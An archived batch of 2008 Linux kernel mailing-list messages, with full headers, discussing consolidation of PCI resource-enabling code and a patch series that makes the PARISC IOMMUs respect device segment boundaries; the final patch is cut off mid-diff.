	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 28 18:38:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JUmiZ-0005ZQ-OK
	for glpp-linux-parisc@gmane.org; Thu, 28 Feb 2008 18:38:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753091AbYB1RiS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Feb 2008 12:38:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752467AbYB1RiS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 28 Feb 2008 12:38:18 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:29519 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752113AbYB1RiR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Feb 2008 12:38:17 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id B32FD17808C; Thu, 28 Feb 2008 12:38:16 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20080228001053.209248743@ldl.fc.hp.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:144 gmane.linux.ports.arm.kernel:39038 gmane.linux.ports.ppc64.devel:36421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/144>

On Wed, Feb 27, 2008 at 05:04:42PM -0700, Bjorn Helgaas wrote:
> Move PERR and SERR enables from pcibios_enable_resources() to
> platform_pci_enable_device() so the former matches other
> architectures and can be shared.
> 

I don't have any problems with this, but I think the naming needs to
change. pcibios_* namespace should probably remain arch dependent.
Renaming the unified implementation to pci_enable_resources, and adding
a weak function pcibios_enable_resources that can be overridden by
parisc and arm to enable PERR/SERR after calling the generic
pci_enable_resources function. No?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [patch 6/6] PCI: consolidate several pcibios_enable_resources()
	implementations
Date: Thu, 28 Feb 2008 17:55:33 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 13
Approved: news@gmane.org
Message-ID: <7005.1204221333@redhat.com>
References: <20080228001053.404893334@ldl.fc.hp.com>
	<20080228000437.880811124@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204221414 26005 80.91.229.12 (28 Feb 2008 17:56:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Feb 2008 17:56:54 +0000 (UTC)
Cc: Chris Zankel <chris@zankel.net>, Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	Kyle McMartin <kyle@parisc-linux.org>, linuxppc-dev@ozlabs.org,
	Paul Mackerras <paulus@samba.org>, linux-arm-kernel@lists.arm.linux.org.uk,
	Russell King <rmk@arm.linux.org.uk>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org Thu Feb 28 18:57:15 2008
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JUn0L-0004HM-6C
	for glppd-linuxppc64-dev@m.gmane.org; Thu, 28 Feb 2008 18:57:13 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 0AF3FDE072
	for <glppd-linuxppc64-dev@m.gmane.org>; Fri, 29 Feb 2008 04:56:21 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by ozlabs.org (Postfix) with ESMTP id 58125DDEF7
	for <linuxppc-dev@ozlabs.org>; Fri, 29 Feb 2008 04:56:00 +1100 (EST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m1SHtYv5019589;
	Thu, 28 Feb 2008 12:55:34 -0500
Original-Received: from pobox.devel.redhat.com (pobox.devel.redhat.com [10.11.255.8])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m1SHtYtp013571;
	Thu, 28 Feb 2008 12:55:34 -0500
Original-Received: from warthog.cambridge.redhat.com (devserv.devel.redhat.com
	[10.10.36.72])
	by pobox.devel.redhat.com (8.13.1/8.13.1) with ESMTP id m1SHtXej018302; 
	Thu, 28 Feb 2008 12:55:33 -0500
Original-Received: from [127.0.0.1] (helo=redhat.com)
	by warthog.cambridge.redhat.com with esmtp (Exim 4.68 #1 (Red Hat
	Linux)) id 1JUmyj-0001p0-8n; Thu, 28 Feb 2008 17:55:33 +0000
In-Reply-To: <20080228001053.404893334@ldl.fc.hp.com>
X-Mailer: MH-E 8.0.3+cvs; nmh 1.2-20070115cvs; GNU Emacs 23.0.50
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:36422 gmane.linux.ports.parisc:145 gmane.linux.ports.arm.kernel:39041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/145>

Bjorn Helgaas <bjorn.helgaas@hp.com> wrote:

> 
>     frv: checks only 6 resources at (1), has a different ROM
> 	resource check at (4) and (6) that ignores IORESOURCE_ROM_ENABLE
> ...
>     mn10300: checks only 6 resources at (1), has no IORESOURCE_{IO,MEM}
> 	check at (3), has a different ROM resource check at (4) and (6)
> 	that ignores IORESOURCE_ROM_ENABLE

Both parts:

Acked-by: David Howells <dhowells@redhat.com>

From - Thu Nov 08 21:02:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH -mm 1/3] export iommu_is_span_boundary helper function
Date: Sun,  2 Mar 2008 15:10:26 +0900
Lines: 58
Approved: news@gmane.org
Message-ID: <1204438228-4564-2-git-send-email-fujita.tomonori@lab.ntt.co.jp>
References: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1204438427 4306 80.91.229.12 (2 Mar 2008 06:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Mar 2008 06:13:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, tomof@acm.org,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	Andrew Morton <akpm@linux-foundation.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752867AbYCBGNE@vger.kernel.org Sun Mar 02 07:14:11 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752867AbYCBGNE@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JVhSc-0006Jo-C8
	for glk-linux-kernel-3@gmane.org; Sun, 02 Mar 2008 07:14:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752867AbYCBGNE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 2 Mar 2008 01:13:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751441AbYCBGMv
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 2 Mar 2008 01:12:51 -0500
Original-Received: from mo11.iij4u.or.jp ([210.138.174.79]:36331 "EHLO mo11.iij4u.or.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750853AbYCBGMv (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 2 Mar 2008 01:12:51 -0500
Original-Received: by mo.iij4u.or.jp (mo11) id m226CihB030666; Sun, 2 Mar 2008 15:12:44 +0900
Original-Received: from localhost (185.6.30.125.dy.iij4u.or.jp [125.30.6.185])
	by mbox.iij4u.or.jp (mbox10) id m226CeML027841
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 2 Mar 2008 15:12:42 +0900
X-Mailer: git-send-email 1.5.3.7
In-Reply-To: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
X-Dispatcher: imput version 20040704(IM147)
Original-Lines: 58
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:648421 gmane.linux.ports.parisc:146
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/146>

iommu_is_span_boundary is used internally in the IOMMU helper
(lib/iommu-helper.c), a primitive function that judges whether a
memory area spans LLD's segment boundary or not.

It's difficult to convert some IOMMUs to use the IOMMU helper but
iommu_is_span_boundary is still useful for them. So this patch exports
it.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Cc: Andrew Morton <akpm@linux-foundation.org>
---
 include/linux/iommu-helper.h |    3 +++
 lib/iommu-helper.c           |   10 ++++++----
 2 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/include/linux/iommu-helper.h b/include/linux/iommu-helper.h
index 4dd4c04..c975caf 100644
--- a/include/linux/iommu-helper.h
+++ b/include/linux/iommu-helper.h
@@ -1,3 +1,6 @@
+extern int iommu_is_span_boundary(unsigned int index, unsigned int nr,
+				  unsigned long shift,
+				  unsigned long boundary_size);
 extern unsigned long iommu_area_alloc(unsigned long *map, unsigned long size,
 				      unsigned long start, unsigned int nr,
 				      unsigned long shift,
diff --git a/lib/iommu-helper.c b/lib/iommu-helper.c
index 495575a..a3b8d4c 100644
--- a/lib/iommu-helper.c
+++ b/lib/iommu-helper.c
@@ -40,10 +40,12 @@ static inline void set_bit_area(unsigned long *map, unsigned long i,
 	}
 }
 
-static inline int is_span_boundary(unsigned int index, unsigned int nr,
-				   unsigned long shift,
-				   unsigned long boundary_size)
+int iommu_is_span_boundary(unsigned int index, unsigned int nr,
+			   unsigned long shift,
+			   unsigned long boundary_size)
 {
+	BUG_ON(!is_power_of_2(boundary_size));
+
 	shift = (shift + index) & (boundary_size - 1);
 	return shift + nr > boundary_size;
 }
@@ -57,7 +59,7 @@ unsigned long iommu_area_alloc(unsigned long *map, unsigned long size,
 again:
 	index = find_next_zero_area(map, size, start, nr, align_mask);
 	if (index != -1) {
-		if (is_span_boundary(index, nr, shift, boundary_size)) {
+		if (iommu_is_span_boundary(index, nr, shift, boundary_size)) {
 			/* we could do more effectively */
 			start = index + 1;
 			goto again;
-- 
1.5.3.7


From - Thu Nov 08 21:02:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH -mm 2/3] parisc: pass struct device to iommu_alloc_range
Date: Sun,  2 Mar 2008 15:10:27 +0900
Lines: 90
Approved: news@gmane.org
Message-ID: <1204438228-4564-3-git-send-email-fujita.tomonori@lab.ntt.co.jp>
References: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
 <1204438228-4564-2-git-send-email-fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1204438836 5055 80.91.229.12 (2 Mar 2008 06:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Mar 2008 06:20:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, tomof@acm.org,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 02 07:21:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JVhZC-0007I7-Gt
	for glpp-linux-parisc@gmane.org; Sun, 02 Mar 2008 07:20:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751807AbYCBGUR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Mar 2008 01:20:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751783AbYCBGUQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Mar 2008 01:20:16 -0500
Original-Received: from mo10.iij4u.or.jp ([210.138.174.78]:34154 "EHLO mo10.iij4u.or.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751723AbYCBGUP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Mar 2008 01:20:15 -0500
X-Greylist: delayed 444 seconds by postgrey-1.27 at vger.kernel.org; Sun, 02 Mar 2008 01:20:14 EST
Original-Received: by mo.iij4u.or.jp (mo10) id m226Cico006518; Sun, 2 Mar 2008 15:12:44 +0900
Original-Received: from localhost (185.6.30.125.dy.iij4u.or.jp [125.30.6.185])
	by mbox.iij4u.or.jp (mbox10) id m226CeMN027841
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 2 Mar 2008 15:12:42 +0900
X-Mailer: git-send-email 1.5.3.7
In-Reply-To: <1204438228-4564-2-git-send-email-fujita.tomonori@lab.ntt.co.jp>
X-Dispatcher: imput version 20040704(IM147)
Original-Lines: 85
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:147 gmane.linux.kernel:648422
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/147>

This adds struct device argument to sba_alloc_range and
ccio_alloc_range, a preparation for modifications to fix the IOMMU
segment boundary problem. This change enables ccio_alloc_range to
access to LLD's segment boundary limits.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Cc: Kyle McMartin <kyle@parisc-linux.org>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Cc: Andrew Morton <akpm@linux-foundation.org>
---
 drivers/parisc/ccio-dma.c      |    4 ++--
 drivers/parisc/iommu-helpers.h |    4 ++--
 drivers/parisc/sba_iommu.c     |    4 ++--
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index d08b284..1695fac 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -341,7 +341,7 @@ static int ioc_count;
  * of available pages for the requested size.
  */
 static int
-ccio_alloc_range(struct ioc *ioc, size_t size)
+ccio_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 {
 	unsigned int pages_needed = size >> IOVP_SHIFT;
 	unsigned int res_idx;
@@ -760,7 +760,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 	ioc->msingle_pages += size >> IOVP_SHIFT;
 #endif
 
-	idx = ccio_alloc_range(ioc, size);
+	idx = ccio_alloc_range(ioc, dev, size);
 	iovp = (dma_addr_t)MKIOVP(idx);
 
 	pdir_start = &(ioc->pdir_base[idx]);
diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
index 97ba828..3cc6930 100644
--- a/drivers/parisc/iommu-helpers.h
+++ b/drivers/parisc/iommu-helpers.h
@@ -97,7 +97,7 @@ iommu_fill_pdir(struct ioc *ioc, struct scatterlist *startsg, int nents,
 static inline unsigned int
 iommu_coalesce_chunks(struct ioc *ioc, struct device *dev,
 		      struct scatterlist *startsg, int nents,
-		      int (*iommu_alloc_range)(struct ioc *, size_t))
+		      int (*iommu_alloc_range)(struct ioc *, struct device *, size_t))
 {
 	struct scatterlist *contig_sg;	   /* contig chunk head */
 	unsigned long dma_offset, dma_len; /* start/len of DMA stream */
@@ -166,7 +166,7 @@ iommu_coalesce_chunks(struct ioc *ioc, struct device *dev,
 		dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE);
 		sg_dma_address(contig_sg) =
 			PIDE_FLAG 
-			| (iommu_alloc_range(ioc, dma_len) << IOVP_SHIFT)
+			| (iommu_alloc_range(ioc, dev, dma_len) << IOVP_SHIFT)
 			| dma_offset;
 		n_mappings++;
 	}
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index d06627c..7d58bd2 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -404,7 +404,7 @@ sba_search_bitmap(struct ioc *ioc, unsigned long bits_wanted)
  * resource bit map.
  */
 static int
-sba_alloc_range(struct ioc *ioc, size_t size)
+sba_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 {
 	unsigned int pages_needed = size >> IOVP_SHIFT;
 #ifdef SBA_COLLECT_STATS
@@ -710,7 +710,7 @@ sba_map_single(struct device *dev, void *addr, size_t size,
 	ioc->msingle_calls++;
 	ioc->msingle_pages += size >> IOVP_SHIFT;
 #endif
-	pide = sba_alloc_range(ioc, size);
+	pide = sba_alloc_range(ioc, dev, size);
 	iovp = (dma_addr_t) pide << IOVP_SHIFT;
 
 	DBG_RUN("%s() 0x%p -> 0x%lx\n",
-- 
1.5.3.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Sun,  2 Mar 2008 15:10:25 +0900
Lines: 24
Approved: news@gmane.org
Message-ID: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1204438862 5105 80.91.229.12 (2 Mar 2008 06:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Mar 2008 06:21:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, tomof@acm.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 02 07:21:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JVhZf-0007I7-Ey
	for glpp-linux-parisc@gmane.org; Sun, 02 Mar 2008 07:21:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753453AbYCBGUx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Mar 2008 01:20:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751903AbYCBGUT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Mar 2008 01:20:19 -0500
Original-Received: from mo11.iij4u.or.jp ([210.138.174.79]:36798 "EHLO mo11.iij4u.or.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751743AbYCBGUP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Mar 2008 01:20:15 -0500
Original-Received: by mo.iij4u.or.jp (mo11) id m226CiH8030669; Sun, 2 Mar 2008 15:12:44 +0900
Original-Received: from localhost (185.6.30.125.dy.iij4u.or.jp [125.30.6.185])
	by mbox.iij4u.or.jp (mbox10) id m226CeMJ027841
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 2 Mar 2008 15:12:41 +0900
X-Mailer: git-send-email 1.5.3.7
X-Dispatcher: imput version 20040704(IM147)
Original-Lines: 19
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:148 gmane.linux.kernel:648423
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/148>

This patchset is another sequel to my patchset to fix iommu segment
boundary problems, IOMMUs allocate memory areas without considering a
low level driver's segment boundary limits:

http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html

This patchset fixes the PARISC IOMMU code (sbc and ccio).

There are three patches in this patchset. The first patch is for the
IOMMU helper (lib/iommu-helper.c) to enable PARISC IOMMUs use it.

The second and third patches are for PARISC IOMMUs, the second one is
preparation for the third patch, which fixes the IOMMU segment
boundary problem.

The third patch assumes that ioc->ibase is on IOVP_SIZE boundary. If
not, please let me know. I'll fix the patch.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH -mm 3/3] parisc: make the IOMMUs respect the segment boundary limits
Date: Sun,  2 Mar 2008 15:10:28 +0900
Lines: 181
Approved: news@gmane.org
Message-ID: <1204438228-4564-4-git-send-email-fujita.tomonori@lab.ntt.co.jp>
References: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
 <1204438228-4564-2-git-send-email-fujita.tomonori@lab.ntt.co.jp>
 <1204438228-4564-3-git-send-email-fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1204438865 5116 80.91.229.12 (2 Mar 2008 06:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Mar 2008 06:21:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, tomof@acm.org,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 02 07:21:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JVhZg-0007I7-3R
	for glpp-linux-parisc@gmane.org; Sun, 02 Mar 2008 07:21:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751783AbYCBGUx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Mar 2008 01:20:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751866AbYCBGUT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Mar 2008 01:20:19 -0500
Original-Received: from mo10.iij4u.or.jp ([210.138.174.78]:34155 "EHLO mo10.iij4u.or.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751755AbYCBGUP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Mar 2008 01:20:15 -0500
Original-Received: by mo.iij4u.or.jp (mo10) id m226CiAF006521; Sun, 2 Mar 2008 15:12:44 +0900
Original-Received: from localhost (185.6.30.125.dy.iij4u.or.jp [125.30.6.185])
	by mbox.iij4u.or.jp (mbox10) id m226CeMP027841
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 2 Mar 2008 15:12:43 +0900
X-Mailer: git-send-email 1.5.3.7
In-Reply-To: <1204438228-4564-3-git-send-email-fujita.tomonori@lab.ntt.co.jp>
X-Dispatcher: imput version 20040704(IM147)
Original-Lines: 176
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:149 gmane.linux.kernel:648424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/149>

This patch makes PARISC's two IOMMU implementations not allocate a
memory area spanning LLD's segment boundary.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Cc: Kyle McMartin <kyle@parisc-linux.org>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Cc: Andrew Morton <akpm@linux-foundation.org>
---
 drivers/parisc/Kconfig     |    5 ++++
 drivers/parisc/ccio-dma.c  |   13 ++++++++++-
 drivers/parisc/sba_iommu.c |   48 +++++++++++++++++++++++++++++++++----------
 3 files changed, 53 insertions(+), 13 deletions(-)

diff --git a/drivers/parisc/Kconfig b/drivers/parisc/Kconfig
index 1d3b84b..553a990 100644
--- a/drivers/parisc/Kconfig
+++ b/drivers/parisc/Kconfig
@@ -103,6 +103,11 @@ config IOMMU_SBA
 	depends on PCI_LBA
 	default PCI_LBA
 
+config IOMMU_HELPER
+	bool
+	depends on IOMMU_SBA || IOMMU_CCIO
+	default y
+
 #config PCI_EPIC
 #	bool "EPIC/SAGA PCI support"
 #	depends on PCI
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 1695fac..2f3b364 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -43,6 +43,7 @@
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/scatterlist.h>
+#include <linux/iommu-helper.h>
 
 #include <asm/byteorder.h>
 #include <asm/cache.h>		/* for L1_CACHE_BYTES */
@@ -302,9 +303,13 @@ static int ioc_count;
 */
 #define CCIO_SEARCH_LOOP(ioc, res_idx, mask, size)  \
        for(; res_ptr < res_end; ++res_ptr) { \
-               if(0 == (*res_ptr & mask)) { \
+               int ret;\
+               unsigned int idx;\
+               idx = (unsigned int)((unsigned long)res_ptr - (unsigned long)ioc->res_map); \
